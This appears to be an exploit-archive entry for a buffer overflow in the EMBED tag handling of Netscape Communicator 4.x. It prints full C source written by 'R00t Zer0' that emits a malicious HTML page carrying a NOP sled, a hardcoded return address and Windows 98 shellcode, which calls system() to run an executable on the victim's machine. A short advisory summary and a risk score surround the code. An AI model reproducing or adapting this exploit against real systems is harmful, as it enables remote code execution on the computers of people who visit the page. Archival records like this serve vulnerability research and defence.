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Netscape Communicator 4.06/4.5/4.6/4.51/4.61 EMBED Buffer Overflow Vulnerability
/*
source: http://www.securityfocus.com/bid/618/info
In several versions of Netscape Communicator, there is an unchecked buffer in the code that handles EMBED tags. The buffer is in the 'plugins page' option. This vulnerability can be exploited by a malicious webpage.
*/
/************************************************************************/
/*Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98*/
/**/
/*written by R00t Zer0([email protected])*/
/**/
/* DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm)*/
/************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#defineSTACK_LEN( 2135 )
#defineEMBED_TYPE_LEN( 150 )
#defineXPT_HDL_OFFSET( 588 )
#defineJMPS_OFFSET( 6 )
#defineJMP_EBX_ADDR( 0xbff7a06b )
#defineINT01H_ADDR( 0xbff73d30 )
#defineNOP_CODE( 0x90 )
#defineJMPS_CODE( 0xeb )
#defineFUNCTION"msvcrt.dll.system.exit."
#defineCOMMAND"welcome.exe"
#defineCMDLENP( 65 )
int
main( void )
{
u_char win98_exec_code[100] = {
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
u_charexploit_code[ STACK_LEN ];
u_charembed_type[ EMBED_TYPE_LEN ];
u_longip;
intloop;
srand( ( u_int )time( 0 ) );
bzero( exploit_code, sizeof( exploit_code ) );
for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
exploit_code [loop ] = NOP_CODE;
/* make exploit code */
ip = JMP_EBX_ADDR;
exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8 ) );
exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0 ) );
win98_exec_code[ CMDLENP ] = strlen( COMMAND );
strcat( exploit_code, win98_exec_code );
strcat( exploit_code, FUNCTION );
strcat( exploit_code, COMMAND );
/* set random type */
for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
embed_type[ loop ] = 0x23 + ( rand() % 93 );
/* print html */
printf( "Content-type: text/html\n\n" );
printf( "<HTML>\n" );
printf( "<HEAD>\n" );
printf( "<TITLE>Netscape communicator 4.x Exploit!!</TITLE>\n" );
printf( "</HEAD>\n" );
printf( "<BODY>\n" );
printf( "<EMBED SRC=\"FreeUNYUN!\" PLUGINSPAGE=\"%s\" ", exploit_code );
printf( "TYPE=\"%s\" WIDTH=\"1500\" HEIGHT=\"1000\">\n", embed_type );
printf( "</EMBED>\n</BODY>\n</HTML>\n" );
return( 0 );
}
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1